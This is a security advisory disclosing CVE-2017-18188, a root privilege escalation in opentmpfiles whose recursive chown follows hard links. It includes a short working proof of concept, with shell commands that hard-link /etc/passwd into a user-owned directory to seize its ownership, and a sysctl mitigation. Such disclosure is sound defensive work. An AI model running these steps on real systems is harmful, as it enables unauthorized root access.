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Date: Wed, 14 Feb 2018 16:04:52 -0500
From: Michael Orlitzky <>
Subject: CVE-2017-18188: opentmpfiles root privilege escalation via recursive

Product: opentmpfiles
Versions-affected: 0.1.3 and earlier (all)
Author: Michael Orlitzky

== Summary ==

The opentmpfiles program implements the tmpfiles.d specification for
POSIX systems that do not run systemd. When processing a "Z" type entry,
opentmpfiles calls chown recursively to change ownership of the target
directory and its contents. An attacker can introduce a hard link into
that directory pointing to a sensitive file, and the next time that
opentmpfiles is run, ownership of the hard link's target will be given
to the attacker.

== Details ==

The specification for the Z-type tmpfiles.d entry implies some type of
recursive chown:


  Recursively set the access mode, group and user, and restore the
  SELinux security context of a file or directory if it exists, as well
  as of its subdirectories and the files contained therein (if
  applicable). Lines of this type accept shell-style globs in place of
  normal path names. Does not follow symlinks.

In opentmpfiles, this is implemented in the "tmpfiles" script:

  _Z() {
    # Recursively set ownership, access mode and relabel security
    # context of a path and all its subdirectories (if it is a
    # directory). Lines of this type accept shell-style globs in
    # place of normal path names.
    [ $CREATE -gt 0 ] || return 0

    CHOPTS=-R relabel "$@"

  relabel() {
    if [ $uid != '-' ]; then
      dryrun_or_real chown $CHOPTS "$uid" "$path"
      if [ $x -ne 0 ]; then

  dryrun_or_real() {
    local dryrun=
    if [ $DRYRUN -eq 1 ]; then
    $dryrun "$@"

Ultimately, the target of the Z-type entry has "chown -R" called on
it. By default, chown will refuse to follow symlinks when operating
recursively; however, hard links are another story. Unless some
(nonstandard) kernel-level protection is enabled, unprivileged users
are free to create hard links to root-owned files, and chown will
follow them.

This is straightforward to exploit as the user who owns the target of
a Z-type entry. Take for example the following tmpfiles.d entry, in

  d /var/lib/opentmpfiles-exploit 0755 mjo mjo
  Z /var/lib/opentmpfiles-exploit 0755 mjo mjo

When opentmpfiles is run, ownership of that directory is given to my mjo

  mjo $ sudo /etc/init.d/opentmpfiles-setup start
  mjo $ ls -ld /var/lib/opentmpfiles-exploit
  drwxr-xr-x 2 mjo mjo 4096 Feb 13 18:38 /var/lib/opentmpfiles-exploit

At that point, I'm free to introduce whatever hard links I want,

  mjo $ ln /etc/passwd /var/lib/opentmpfiles-exploit/x

and then restart opentmpfiles (which would happen after a reboot, anyway):

  mjo $ sudo /etc/init.d/opentmpfiles-setup restart

The "chown -R" follows my link, and afterwards I own /etc/passwd:

  mjo $ ls -l /etc/passwd
  -rwxr-xr-x 2 mjo mjo 1504 Feb 13 19:15 /etc/passwd

== Mitigation ==

On Linux, the fs.protected_hardlinks sysctl should be enabled:

  root # sysctl --write fs.protected_hardlinks=1

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